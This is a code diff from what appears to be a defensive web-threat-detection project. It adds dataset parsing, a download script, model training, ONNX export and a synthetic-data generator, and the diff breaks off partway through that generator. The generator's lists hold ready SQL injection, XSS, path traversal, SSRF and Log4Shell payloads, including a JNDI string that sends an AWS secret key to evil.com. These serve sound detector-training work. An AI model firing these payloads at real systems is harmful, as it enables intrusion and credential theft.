+    Parse a CSIC 2010 dataset file into a list of CSICRequest objects
+    """
+    text = path.read_text(encoding="utf-8", errors="replace")
+    lines = text.splitlines()
+
+    blocks: list[list[str]] = []
+    current: list[str] = []
+
+    for line in lines:
+        match = _REQUEST_LINE_RE.match(line)
+        if match and current:
+            blocks.append(current)
+            current = [line]
+        elif match:
+            current = [line]
+        elif current:
+            current.append(line)
+
+    if current:
+        blocks.append(current)
+
+    results: list[CSICRequest] = []
+    for block in blocks:
+        req = _parse_request_block(block, label)
+        if req is not None:
+            results.append(req)
+
+    logger.info(
+        "Parsed %d requests from %s (label=%d)",
+        len(results),
+        path.name,
+        label,
+    )
+    return results
+
+
+def _parse_request_block(
+    lines: list[str],
+    label: int,
+) -> CSICRequest | None:
+    """
+    Parse a single request block into a CSICRequest
+    """
+    if not lines:
+        return None
+
+    match = _REQUEST_LINE_RE.match(lines[0])
+    if not match:
+        return None
+
+    method = match.group(1)
+    full_uri = match.group(2)
+    protocol = match.group(3)
+
+    if "?" in full_uri:
+        path, query_string = full_uri.split("?", 1)
+    else:
+        path = full_uri
+        query_string = ""
+
+    headers: dict[str, str] = {}
+    body_start = len(lines)
+
+    for i, line in enumerate(lines[1:], 1):
+        if not line.strip():
+            body_start = i + 1
+            break
+        if ": " in line:
+            key, value = line.split(": ", 1)
+            headers[key] = value
+
+    body_lines = [ln for ln in lines[body_start:] if ln.strip()]
+    body = "\n".join(body_lines)
+
+    return CSICRequest(
+        method=method,
+        path=path,
+        query_string=query_string,
+        protocol=protocol,
+        headers=headers,
+        body=body,
+        label=label,
+    )
+
+
+def csic_to_parsed_entry(req: CSICRequest) -> ParsedLogEntry:
+    """
+    Convert a CSICRequest to a ParsedLogEntry with synthesized defaults
+    for fields not present in the CSIC dataset
+    """
+    ua = req.headers.get("User-Agent", _DEFAULT_UA)
+
+    query = req.query_string
+    if req.body:
+        query = (f"{query}&{req.body}" if query else req.body)
+
+    return ParsedLogEntry(
+        ip=_DEFAULT_IP,
+        timestamp=datetime.now(UTC),
+        method=req.method,
+        path=req.path,
+        query_string=query,
+        status_code=200,
+        response_size=0,
+        referer="",
+        user_agent=ua,
+        raw_line="",
+    )
+
+
+def load_csic_dataset(
+    normal_path: Path,
+    attack_path: Path,
+) -> tuple[np.ndarray, np.ndarray]:
+    """
+    Load CSIC 2010 normal and attack files, extract features,
+    and return (X, y) arrays ready for model training
+    """
+    normal_reqs = parse_csic_file(normal_path, label=0)
+    attack_reqs = parse_csic_file(attack_path, label=1)
+
+    all_reqs = normal_reqs + attack_reqs
+
+    vectors: list[list[float]] = []
+    labels: list[int] = []
+
+    for req in all_reqs:
+        entry = csic_to_parsed_entry(req)
+        features = extract_request_features(entry)
+
+        for name in WINDOWED_FEATURE_NAMES:
+            features[name] = 0.0
+
+        vector = encode_for_inference(features)
+        vectors.append(vector)
+        labels.append(req.label)
+
+    X = np.array(vectors, dtype=np.float32)
+    y = np.array(labels, dtype=np.int32)
+
+    logger.info(
+        "Dataset loaded: X=%s, y=%s (normal=%d, attack=%d)",
+        X.shape,
+        y.shape,
+        np.sum(y == 0),
+        np.sum(y == 1),
+    )
+
+    return X, y
+
+
+def load_csic_normal(
+    path: Path,
+) -> tuple[np.ndarray, np.ndarray]:
+    """
+    Load a CSIC 2010 normal traffic file and return (X, y) arrays
+    with all labels set to 0
+    """
+    reqs = parse_csic_file(path, label=0)
+
+    vectors: list[list[float]] = []
+    for req in reqs:
+        entry = csic_to_parsed_entry(req)
+        features = extract_request_features(entry)
+        for name in WINDOWED_FEATURE_NAMES:
+            features[name] = 0.0
+        vectors.append(encode_for_inference(features))
+
+    X = np.array(vectors, dtype=np.float32)
+    y = np.zeros(len(vectors), dtype=np.int32)
+
+    logger.info(
+        "Loaded %d normal samples from %s",
+        len(vectors),
+        path.name,
+    )
+
+    return X, y

PROJECTS/advanced/ai-threat-detection/backend/ml/download_csic.py

@@ -0,0 +1,108 @@
+"""
+©AngelaMos | 2026
+download_csic.py
+"""
+
+import hashlib
+import logging
+import sys
+from pathlib import Path
+
+import httpx
+
+logger = logging.getLogger(__name__)
+
+DATASET_DIR = Path("data/datasets/csic2010")
+
+BASE_URL = ("https://gitlab.fing.edu.uy"
+            "/gsi/web-application-attacks-datasets"
+            "/-/raw/master/csic_2010")
+
+FILES = [
+    "normalTrafficTraining.txt",
+    "normalTrafficTest.txt",
+    "anomalousTrafficTest.txt",
+]
+
+MIN_FILE_BYTES = 1_000_000
+
+
+def _compute_sha256(path: Path) -> str:
+    """
+    Compute SHA-256 hash of a file
+    """
+    h = hashlib.sha256()
+    with open(path, "rb") as f:
+        for chunk in iter(lambda: f.read(65536), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def download_csic(output_dir: Path = DATASET_DIR, ) -> None:
+    """
+    Download CSIC 2010 dataset files
+    """
+    output_dir.mkdir(parents=True, exist_ok=True)
+
+    for filename in FILES:
+        dest = output_dir / filename
+
+        if dest.exists() and dest.stat().st_size > MIN_FILE_BYTES:
+            logger.info("Skipping %s (already exists)", filename)
+            continue
+
+        url = f"{BASE_URL}/{filename}"
+        logger.info("Downloading %s", url)
+        print(f"Downloading {filename}...")
+
+        try:
+            with httpx.stream(
+                "GET",
+                url,
+                follow_redirects=True,
+            ) as response:
+                response.raise_for_status()
+                total = int(
+                    response.headers.get("content-length", 0)
+                )
+                downloaded = 0
+                with open(dest, "wb") as f:
+                    for chunk in response.iter_bytes(
+                        chunk_size=65536
+                    ):
+                        f.write(chunk)
+                        downloaded += len(chunk)
+                        if total > 0:
+                            pct = min(
+                                downloaded * 100 / total, 100
+                            )
+                            sys.stdout.write(f"\r  {pct:.0f}%")
+                        else:
+                            mb = downloaded / 1_048_576
+                            sys.stdout.write(f"\r  {mb:.1f} MB")
+                        sys.stdout.flush()
+            print()
+        except Exception as exc:
+            logger.error(
+                "Failed to download %s: %s",
+                filename,
+                exc,
+            )
+            print(f"\nError downloading {filename}: {exc}")
+            continue
+
+        size = dest.stat().st_size
+        sha = _compute_sha256(dest)
+        print(f"  Saved: {dest}"
+              f" ({size:,} bytes, sha256={sha[:12]})")
+
+        if size < MIN_FILE_BYTES:
+            print(f"  WARNING: {filename} is suspiciously"
+                  f" small ({size:,} bytes)")
+
+    print(f"\nDataset directory: {output_dir.resolve()}")
+
+
+if __name__ == "__main__":
+    logging.basicConfig(level=logging.INFO)
+    download_csic()

PROJECTS/advanced/ai-threat-detection/backend/ml/experiment.py

@@ -0,0 +1,104 @@
+"""
+©AngelaMos | 2026
+experiment.py
+"""
+
+import platform
+import subprocess
+import sys
+from pathlib import Path
+from types import TracebackType
+
+import mlflow
+
+
+class VigilExperiment:
+    """
+    Context manager wrapping MLflow experiment runs
+    with automatic system metadata logging
+    """
+
+    def __init__(self, experiment_name: str) -> None:
+        self._experiment_name = experiment_name
+        self._run: mlflow.ActiveRun | None = None
+        self._run_id: str | None = None
+
+    @property
+    def run_id(self) -> str | None:
+        """
+        The MLflow run ID, set after entering context
+        """
+        return self._run_id
+
+    def __enter__(self) -> VigilExperiment:
+        mlflow.set_experiment(self._experiment_name)
+        self._run = mlflow.start_run()
+        self._run_id = self._run.info.run_id
+        self._log_system_metadata()
+        return self
+
+    def __exit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc_val: BaseException | None,
+        exc_tb: TracebackType | None,
+    ) -> None:
+        if exc_type is not None:
+            mlflow.set_tag("status", "failed")
+            mlflow.set_tag("error", str(exc_val)[:500])
+        else:
+            mlflow.set_tag("status", "completed")
+        mlflow.end_run()
+        self._run = None
+
+    def log_params(self, params: dict[str, object]) -> None:
+        """
+        Log a dictionary of parameters to the active run
+        """
+        mlflow.log_params(params)
+
+    def log_metrics(
+        self,
+        metrics: dict[str, float],
+        step: int | None = None,
+    ) -> None:
+        """
+        Log a dictionary of metrics to the active run
+        """
+        mlflow.log_metrics(metrics, step=step)
+
+    def log_artifact(self, path: Path | str) -> None:
+        """
+        Log a local file as an artifact
+        """
+        mlflow.log_artifact(str(path))
+
+    def _log_system_metadata(self) -> None:
+        """
+        Record Python version and git commit hash
+        """
+        mlflow.set_tag("python_version", sys.version.split()[0])
+        mlflow.set_tag("platform", platform.system())
+
+        git_hash = _get_git_hash()
+        if git_hash is not None:
+            mlflow.set_tag("git_commit", git_hash)
+
+
+def _get_git_hash() -> str | None:
+    """
+    Return the short git commit hash or None
+    """
+    try:
+        result = subprocess.run(
+            ["git", "rev-parse", "--short", "HEAD"],
+            capture_output=True,
+            text=True,
+            timeout=5,
+            check=False,
+        )
+        if result.returncode == 0:
+            return result.stdout.strip()
+    except FileNotFoundError:
+        pass
+    return None

PROJECTS/advanced/ai-threat-detection/backend/ml/export_onnx.py

@@ -0,0 +1,90 @@
+"""
+©AngelaMos | 2026
+export_onnx.py
+"""
+
+from pathlib import Path
+
+import torch
+from skl2onnx import convert_sklearn
+from skl2onnx.common.data_types import FloatTensorType
+from sklearn.base import BaseEstimator
+
+from ml.autoencoder import ThreatAutoencoder
+
+ONNX_OPSET = 17
+SKL_TARGET_OPSET = {"": 17, "ai.onnx.ml": 3}
+
+
+def export_autoencoder(
+    model: ThreatAutoencoder,
+    path: Path | str,
+    opset: int = ONNX_OPSET,
+) -> Path:
+    """
+    Export a PyTorch autoencoder to ONNX with dynamic batch dimension
+    """
+    path = Path(path)
+    path.parent.mkdir(parents=True, exist_ok=True)
+
+    model.eval()
+    dummy = torch.randn(1, model.input_dim)
+
+    batch_dim = torch.export.Dim("batch_size", min=1)
+
+    torch.onnx.export(
+        model,
+        dummy,  # type: ignore[arg-type]
+        str(path),
+        opset_version=opset,
+        export_params=True,
+        do_constant_folding=True,
+        input_names=["features"],
+        output_names=["reconstructed"],
+        dynamic_shapes={"x": {
+            0: batch_dim
+        }},
+    )
+    return path
+
+
+def export_random_forest(
+    model: BaseEstimator,
+    n_features: int,
+    path: Path | str,
+) -> Path:
+    """
+    Export a sklearn random forest (or calibrated wrapper) to ONNX
+    """
+    path = Path(path)
+    path.parent.mkdir(parents=True, exist_ok=True)
+
+    initial_type = [("features", FloatTensorType([None, n_features]))]
+    onnx_model = convert_sklearn(
+        model,
+        initial_types=initial_type,
+        target_opset=SKL_TARGET_OPSET,
+    )
+    path.write_bytes(onnx_model.SerializeToString())
+    return path
+
+
+def export_isolation_forest(
+    model: BaseEstimator,
+    n_features: int,
+    path: Path | str,
+) -> Path:
+    """
+    Export a sklearn isolation forest to ONNX
+    """
+    path = Path(path)
+    path.parent.mkdir(parents=True, exist_ok=True)
+
+    initial_type = [("features", FloatTensorType([None, n_features]))]
+    onnx_model = convert_sklearn(
+        model,
+        initial_types=initial_type,
+        target_opset=SKL_TARGET_OPSET,
+    )
+    path.write_bytes(onnx_model.SerializeToString())
+    return path

PROJECTS/advanced/ai-threat-detection/backend/ml/metadata.py

@@ -0,0 +1,81 @@
+"""
+©AngelaMos | 2026
+metadata.py
+"""
+
+import hashlib
+import logging
+from pathlib import Path
+
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.models.model_metadata import ModelMetadata
+
+logger = logging.getLogger(__name__)
+
+MODEL_TYPES: dict[str, str] = {
+    "ae.onnx": "autoencoder",
+    "rf.onnx": "random_forest",
+    "if.onnx": "isolation_forest",
+}
+
+VERSION_HASH_LENGTH = 12
+
+
+def compute_model_version(artifact_path: Path) -> str:
+    """
+    Compute a 12-char hex version string from the SHA-256 hash of a file
+    """
+    sha = hashlib.sha256(artifact_path.read_bytes())
+    return sha.hexdigest()[:VERSION_HASH_LENGTH]
+
+
+async def save_model_metadata(
+    session: AsyncSession,
+    model_dir: Path,
+    training_samples: int,
+    metrics: dict[str, object],
+    mlflow_run_id: str | None = None,
+    threshold: float | None = None,
+) -> list[ModelMetadata]:
+    """
+    Persist metadata for all 3 model types, deactivating previous active versions
+    """
+    rows: list[ModelMetadata] = []
+
+    for filename, model_type in MODEL_TYPES.items():
+        artifact_path = model_dir / filename
+        version = compute_model_version(artifact_path)
+
+        result = await session.execute(
+            select(ModelMetadata).where(
+                ModelMetadata.model_type == model_type,  # type: ignore[arg-type]
+                ModelMetadata.is_active == True,  # type: ignore[arg-type]  # noqa: E712
+            ))
+        for old in result.scalars().all():
+            old.is_active = False
+        await session.flush()
+
+        row = ModelMetadata(
+            model_type=model_type,
+            version=version,
+            training_samples=training_samples,
+            metrics=metrics,
+            artifact_path=str(artifact_path),
+            is_active=True,
+            mlflow_run_id=mlflow_run_id,
+            threshold=threshold,
+        )
+        session.add(row)
+        rows.append(row)
+
+    await session.commit()
+
+    logger.info(
+        "Saved metadata for %d models (samples=%d)",
+        len(rows),
+        training_samples,
+    )
+
+    return rows

PROJECTS/advanced/ai-threat-detection/backend/ml/orchestrator.py

@@ -0,0 +1,240 @@
+"""
+©AngelaMos | 2026
+orchestrator.py
+"""
+
+import json
+import logging
+import sys
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any
+
+import numpy as np
+
+from ml.experiment import VigilExperiment
+from ml.export_onnx import (
+    export_autoencoder,
+    export_isolation_forest,
+    export_random_forest,
+)
+from ml.splitting import prepare_training_data
+from ml.train_autoencoder import train_autoencoder
+from ml.train_classifiers import (
+    train_isolation_forest,
+    train_random_forest,
+)
+from ml.validation import ValidationResult, validate_ensemble
+
+logger = logging.getLogger(__name__)
+
+N_FEATURES = 35
+
+AE_FILENAME = "ae.onnx"
+RF_FILENAME = "rf.onnx"
+IF_FILENAME = "if.onnx"
+SCALER_FILENAME = "scaler.json"
+THRESHOLD_FILENAME = "threshold.json"
+
+
+@dataclass
+class TrainingResult:
+    """
+    Aggregated results from a full training pipeline run
+    """
+
+    ae_metrics: dict[str, float]
+    rf_metrics: dict[str, float]
+    if_metrics: dict[str, float]
+    ensemble_metrics: ValidationResult | None
+    passed_gates: bool
+    output_dir: Path
+    mlflow_run_id: str | None
+
+
+class TrainingOrchestrator:
+    """
+    End-to-end training pipeline that splits data, trains all 3 models,
+    exports to ONNX, validates the ensemble, and logs to MLflow
+    """
+
+    def __init__(
+        self,
+        output_dir: Path,
+        experiment_name: str = "angelusvigil-training",
+        epochs: int = 100,
+        batch_size: int = 256,
+    ) -> None:
+        self._output_dir = output_dir
+        self._experiment_name = experiment_name
+        self._epochs = epochs
+        self._batch_size = batch_size
+
+    def run(
+        self,
+        X: np.ndarray,
+        y: np.ndarray,
+    ) -> TrainingResult:
+        """
+        Execute the full training pipeline
+        """
+        self._output_dir.mkdir(parents=True, exist_ok=True)
+
+        split = prepare_training_data(X, y)
+
+        logger.info(
+            "Split: train=%d val=%d test=%d normal_train=%d",
+            len(split.X_train),
+            len(split.X_val),
+            len(split.X_test),
+            len(split.X_normal_train),
+        )
+
+        with VigilExperiment(self._experiment_name) as experiment:
+            experiment.log_params({
+                "epochs": self._epochs,
+                "batch_size": self._batch_size,
+                "n_samples": len(X),
+                "n_attack": int(np.sum(y == 1)),
+                "n_normal": int(np.sum(y == 0)),
+                "n_features": X.shape[1],
+            })
+
+            ae_result = self._train_ae(split.X_normal_train)
+            ae_metrics = {
+                "ae_threshold": ae_result["threshold"],
+                "ae_final_train_loss": ae_result["history"]["train_loss"][-1],
+                "ae_final_val_loss": ae_result["history"]["val_loss"][-1],
+            }
+
+            rf_result = self._train_rf(split.X_train, split.y_train)
+            rf_metrics = rf_result["metrics"]
+
+            if_result = self._train_if(split.X_normal_train)
+            if_metrics = if_result["metrics"]
+
+            self._export_models(ae_result, rf_result, if_result)
+
+            experiment.log_metrics(ae_metrics)
+            experiment.log_metrics({
+                f"rf_{k}": v
+                for k, v in rf_metrics.items()
+            })
+
+            try:
+                ensemble = validate_ensemble(
+                    self._output_dir,
+                    split.X_test,
+                    split.y_test,
+                )
+                experiment.log_metrics({
+                    "ensemble_precision": ensemble.precision,
+                    "ensemble_recall": ensemble.recall,
+                    "ensemble_f1": ensemble.f1,
+                    "ensemble_pr_auc": ensemble.pr_auc,
+                    "ensemble_roc_auc": ensemble.roc_auc,
+                })
+                passed = ensemble.passed_gates
+            except Exception as exc:
+                logger.exception("Ensemble validation failed")
+                print(
+                    f"  WARNING: validation raised"
+                    f" {type(exc).__name__}: {exc}",
+                    file=sys.stderr,
+                )
+                ensemble = None
+                passed = False
+
+            for name in (
+                AE_FILENAME,
+                RF_FILENAME,
+                IF_FILENAME,
+                SCALER_FILENAME,
+                THRESHOLD_FILENAME,
+            ):
+                experiment.log_artifact(self._output_dir / name)
+
+            run_id = experiment.run_id
+
+        logger.info(
+            "Training complete: passed_gates=%s run_id=%s",
+            passed,
+            run_id,
+        )
+
+        return TrainingResult(
+            ae_metrics=ae_metrics,
+            rf_metrics=rf_metrics,
+            if_metrics=if_metrics,
+            ensemble_metrics=ensemble,
+            passed_gates=passed,
+            output_dir=self._output_dir,
+            mlflow_run_id=run_id,
+        )
+
+    def _train_ae(self, X_normal: np.ndarray) -> dict[str, Any]:
+        """
+        Train the autoencoder on normal-only data
+        """
+        logger.info(
+            "Training autoencoder (%d epochs, %d samples)",
+            self._epochs,
+            len(X_normal),
+        )
+        return train_autoencoder(
+            X_normal,
+            epochs=self._epochs,
+            batch_size=self._batch_size,
+        )
+
+    def _train_rf(self, X: np.ndarray, y: np.ndarray) -> dict[str, Any]:
+        """
+        Train the random forest classifier
+        """
+        logger.info(
+            "Training random forest (%d samples)",
+            len(X),
+        )
+        return train_random_forest(X, y)
+
+    def _train_if(self, X_normal: np.ndarray) -> dict[str, Any]:
+        """
+        Train the isolation forest on normal-only data
+        """
+        logger.info(
+            "Training isolation forest (%d samples)",
+            len(X_normal),
+        )
+        return train_isolation_forest(X_normal)
+
+    def _export_models(
+        self,
+        ae_result: dict[str, Any],
+        rf_result: dict[str, Any],
+        if_result: dict[str, Any],
+    ) -> None:
+        """
+        Export all 3 models to ONNX and save scaler/threshold
+        """
+        export_autoencoder(
+            ae_result["model"],
+            self._output_dir / AE_FILENAME,
+        )
+        ae_result["scaler"].save_json(self._output_dir / SCALER_FILENAME)
+        threshold_data = {"threshold": ae_result["threshold"]}
+        (self._output_dir / THRESHOLD_FILENAME).write_text(
+            json.dumps(threshold_data, indent=2))
+
+        export_random_forest(
+            rf_result["model"],
+            N_FEATURES,
+            self._output_dir / RF_FILENAME,
+        )
+
+        export_isolation_forest(
+            if_result["model"],
+            N_FEATURES,
+            self._output_dir / IF_FILENAME,
+        )
+
+        logger.info("Exported models to %s", self._output_dir)

PROJECTS/advanced/ai-threat-detection/backend/ml/scaler.py

@@ -46,7 +46,7 @@ class FeatureScaler:
         """
         if not self._fitted or self._scaler is None:
             raise RuntimeError("Scaler has not been fitted")
-        return self._scaler.transform(X).astype(np.float32)
+        return self._scaler.transform(X).astype(np.float32)  # type: ignore[no-any-return]
 
     def inverse_transform(self, X: np.ndarray) -> np.ndarray:
         """
@@ -54,7 +54,7 @@ class FeatureScaler:
         """
         if not self._fitted or self._scaler is None:
             raise RuntimeError("Scaler has not been fitted")
-        return self._scaler.inverse_transform(X).astype(np.float32)
+        return self._scaler.inverse_transform(X).astype(np.float32)  # type: ignore[no-any-return]
 
     def fit_transform(self, X: np.ndarray) -> np.ndarray:
         """
@@ -74,14 +74,14 @@ class FeatureScaler:
             "scale": self._scaler.scale_.tolist(),
             "n_features": int(self._scaler.n_features_in_),
         }
-        Path(path).write_text(json.dumps(data, indent=2))
+        Path(path).write_text(json.dumps(data, indent=2), encoding="utf-8")
 
     @classmethod
     def load_json(cls, path: Path | str) -> FeatureScaler:
         """
         Reconstruct a fitted scaler from a JSON file.
         """
-        data = json.loads(Path(path).read_text())
+        data = json.loads(Path(path).read_text(encoding="utf-8"))
         scaler = cls()
         scaler._scaler = RobustScaler()
         scaler._scaler.center_ = np.array(data["center"], dtype=np.float64)

PROJECTS/advanced/ai-threat-detection/backend/ml/splitting.py

@@ -0,0 +1,84 @@
+"""
+©AngelaMos | 2026
+splitting.py
+"""
+
+from dataclasses import dataclass
+
+import numpy as np
+from imblearn.over_sampling import SMOTE
+from sklearn.model_selection import train_test_split
+
+
+@dataclass
+class TrainingSplit:
+    """
+    Result of stratified splitting with SMOTE oversampling
+    """
+
+    X_train: np.ndarray
+    y_train: np.ndarray
+    X_val: np.ndarray
+    y_val: np.ndarray
+    X_test: np.ndarray
+    y_test: np.ndarray
+    X_normal_train: np.ndarray
+
+
+def prepare_training_data(
+    X: np.ndarray,
+    y: np.ndarray,
+    train_ratio: float = 0.70,
+    val_ratio: float = 0.15,
+    smote_strategy: float = 0.3,
+    smote_k: int = 5,
+    random_state: int = 42,
+) -> TrainingSplit:
+    """
+    Split data into train/val/test with SMOTE on training set only
+    """
+    n_classes = len(np.unique(y))
+    if n_classes < 2:
+        raise ValueError("y must contain at least 2 classes")
+
+    test_size = 1.0 - train_ratio
+    X_train, X_rem, y_train, y_rem = train_test_split(
+        X,
+        y,
+        test_size=test_size,
+        stratify=y,
+        random_state=random_state,
+    )
+
+    X_val, X_test, y_val, y_test = train_test_split(
+        X_rem,
+        y_rem,
+        test_size=0.5,
+        stratify=y_rem,
+        random_state=random_state,
+    )
+
+    X_normal_train = X_train[y_train == 0]
+
+    class_counts = np.bincount(y_train)
+    minority_count = class_counts.min()
+    majority_count = class_counts.max()
+    current_ratio = minority_count / majority_count
+
+    if (minority_count >= smote_k + 1 and current_ratio < smote_strategy):
+        sampler = SMOTE(
+            sampling_strategy=smote_strategy,
+            k_neighbors=smote_k,
+            random_state=random_state,
+        )
+        X_train, y_train = sampler.fit_resample(X_train, y_train)
+
+    return TrainingSplit(
+        X_train=X_train,
+        y_train=y_train,
+        X_val=X_val,
+        y_val=y_val,
+        X_test=X_test,
+        y_test=y_test,
+        X_normal_train=X_normal_train,
+    )

PROJECTS/advanced/ai-threat-detection/backend/ml/synthetic.py

@@ -0,0 +1,436 @@
+"""
+©AngelaMos | 2026
+synthetic.py
+"""
+
+import logging
+import random
+from datetime import UTC, datetime, timedelta
+
+import numpy as np
+
+from app.core.features.encoder import encode_for_inference
+from app.core.features.extractor import extract_request_features
+from app.core.features.mappings import WINDOWED_FEATURE_NAMES
+from app.core.ingestion.parsers import ParsedLogEntry
+
+logger = logging.getLogger(__name__)
+
+SQLI_PAYLOADS: list[str] = [
+    "' OR 1=1--",
+    "' OR '1'='1",
+    "' UNION SELECT NULL,NULL--",
+    "' UNION SELECT username,password FROM users--",
+    "1; DROP TABLE users--",
+    "admin'--",
+    "' AND 1=1--",
+    "' AND SLEEP(5)--",
+    "' OR BENCHMARK(1000000,SHA1('test'))--",
+    "1' ORDER BY 1--",
+    "1' ORDER BY 10--",
+    "' UNION ALL SELECT @@version--",
+    "-1' UNION SELECT 1,CONCAT(user(),database())--",
+    "' OR 'x'='x",
+    "1; WAITFOR DELAY '0:0:5'--",
+    "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
+    "' AND UPDATEXML(1,CONCAT(0x7e,version()),1)--",
+    "admin' AND '1'='1",
+    "' UNION SELECT LOAD_FILE('/etc/passwd')--",
+    "' INTO OUTFILE '/tmp/shell.php'--",
+    "1' AND 1=1 UNION SELECT 1,2,3--",
+    "' OR EXISTS(SELECT * FROM users)--",
+]
+
+XSS_PAYLOADS: list[str] = [
+    "<script>alert(1)</script>",
+    "<script>document.cookie</script>",
+    "<img src=x onerror=alert(1)>",
+    "<svg onload=alert(1)>",
+    "<body onload=alert(1)>",
+    "javascript:alert(1)",
+    "<iframe src=javascript:alert(1)>",
+    "<input onfocus=alert(1) autofocus>",
+    "<marquee onstart=alert(1)>",
+    "<details open ontoggle=alert(1)>",
+    "'-alert(1)-'",
+    "\"><script>alert(String.fromCharCode(88,83,83))</script>",
+    "<img src=x onerror=prompt(1)>",
+    "<svg/onload=confirm(1)>",
+    "\" onfocus=alert(1) autofocus=\"",
+    "<object data=javascript:alert(1)>",
+    "<embed src=javascript:alert(1)>",
+    "<link rel=import href=data:text/html,<script>alert(1)</script>>",
+    "{{constructor.constructor('alert(1)')()}}",
+    "<style>@import'javascript:alert(1)'</style>",
+    "expression(alert(1))",
+]
+
+TRAVERSAL_PAYLOADS: list[str] = [
+    "../../etc/passwd",
+    "..\\..\\windows\\system32\\config\\sam",
+    "../../../etc/shadow",
+    "....//....//etc/passwd",
+    "%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+    "%252e%252e%252f%252e%252e%252fetc%252fpasswd",
+    "..%c0%afetc%c0%afpasswd",
+    "../../proc/self/environ",
+    "../../var/log/auth.log",
+    "../../.env",
+    "../../.git/config",
+    "../../../boot.ini",
+    "../../web.config",
+    "../../wp-config.php",
+    "%2e%2e/%2e%2e/%2e%2e/etc/passwd",
+]
+
+LOG4SHELL_PAYLOADS: list[str] = [
+    "${jndi:ldap://evil.com/a}",
+    "${jndi:rmi://evil.com/a}",
+    "${jndi:dns://evil.com/a}",
+    "${jndi:ldap://127.0.0.1/a}",
+    "${${lower:j}ndi:ldap://evil.com/a}",
+    "${${upper:j}ndi:ldap://evil.com/a}",
+    "${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/a}",
+    "${jndi:ldap://evil.com/${env:AWS_SECRET_KEY}}",
+    "${jndi:${lower:l}${lower:d}ap://evil.com/a}",
+    "${${env:BARFOO:-j}ndi${env:BARFOO:-:}ldap://evil.com/a}",
+]
+
+SSRF_TARGETS: list[str] = [
+    "http://169.254.169.254/latest/meta-data/",
+    "http://metadata.google.internal/computeMetadata/v1/",
+    "http://169.254.170.2/v2/credentials",
+    "http://100.100.100.200/latest/meta-data/",
+    "http://127.0.0.1:8080/admin",
+    "http://localhost:9200/_cat/indices",
+    "http://10.0.0.1:6379/",
+    "http://192.168.1.1/admin",
+    "file:///etc/passwd",
+    "gopher://127.0.0.1:25/",
+    "dict://127.0.0.1:11211/stats",
+]
+
+SCANNER_UAS: list[str] = [
+    "Nikto/2.1.6",
+    "sqlmap/1.7",
+    "Nessus/10.0",
+    "DirBuster-1.0-RC1",
+    "Acunetix-Product",
+    "w3af/1.0",
+    "Nmap Scripting Engine",
+    "Wfuzz/3.1.0",
+    "gobuster/3.6",
+    "masscan/1.3.2",
+    "ZAP/2.14.0",
+]
+
+NORMAL_PATHS: list[str] = [
+    "/",
+    "/index.html",
+    "/api/v1/users",
+    "/api/v1/users/123",
+    "/api/v1/products",
+    "/api/v1/products/456",
+    "/api/v1/orders",
+    "/api/v1/search",
+    "/api/v2/health",
+    "/api/v2/metrics",
+    "/dashboard",
+    "/dashboard/settings",
+    "/login",
+    "/logout",
+    "/register",
+    "/profile",
+    "/profile/edit",
+    "/about",
+    "/contact",
+    "/faq",
+    "/static/css/main.css",
+    "/static/js/app.js",
+    "/static/images/logo.png",
+    "/favicon.ico",
+    "/robots.txt",
+    "/sitemap.xml",
+    "/blog",
+    "/blog/2026/01/post-title",
+    "/docs",
+    "/docs/api-reference",
+    "/status",
+    "/feed.xml",
+]
+
+NORMAL_UAS: list[str] = [
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
+    "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0",
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36",
+    "Mozilla/5.0 (iPad; CPU OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
+]
+
+ATTACK_PATHS: list[str] = [
+    "/login",
+    "/admin",
+    "/admin/config",
+    "/api/v1/users",
+    "/api/v1/auth",
+    "/api/v1/search",
+    "/wp-admin",
+    "/wp-login.php",
+    "/phpmyadmin",
+    "/manager/html",
+    "/actuator/env",
+    "/api/v1/upload",
+    "/api/v1/export",
+    "/console",
+    "/debug",
+]
+
+
+def _random_ip() -> str:
+    """
+    Generate a random public-looking IP address
+    """
+    return f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"
+
+
+def _random_timestamp() -> datetime:
+    """
+    Generate a random timestamp within the last 24 hours
+    """
+    offset = random.randint(0, 86400)
+    return datetime.now(UTC) - timedelta(seconds=offset)
+
+
+def _make_entry(
+    method: str,
+    path: str,
+    query_string: str,
+    status_code: int,
+    response_size: int,
+    user_agent: str,
+    ip: str | None = None,
+) -> ParsedLogEntry:
+    """
+    Build a ParsedLogEntry with randomized metadata
+    """
+    return ParsedLogEntry(
+        ip=ip or _random_ip(),
+        timestamp=_random_timestamp(),
+        method=method,
+        path=path,
+        query_string=query_string,
+        status_code=status_code,
+        response_size=response_size,
+        referer="",
+        user_agent=user_agent,
+        raw_line="",
+    )
+
+
+def generate_sqli_requests(n: int, ) -> list[ParsedLogEntry]:
+    """
+    Generate n requests with SQL injection payloads
+    """
+    entries: list[ParsedLogEntry] = []
+    for _ in range(n):
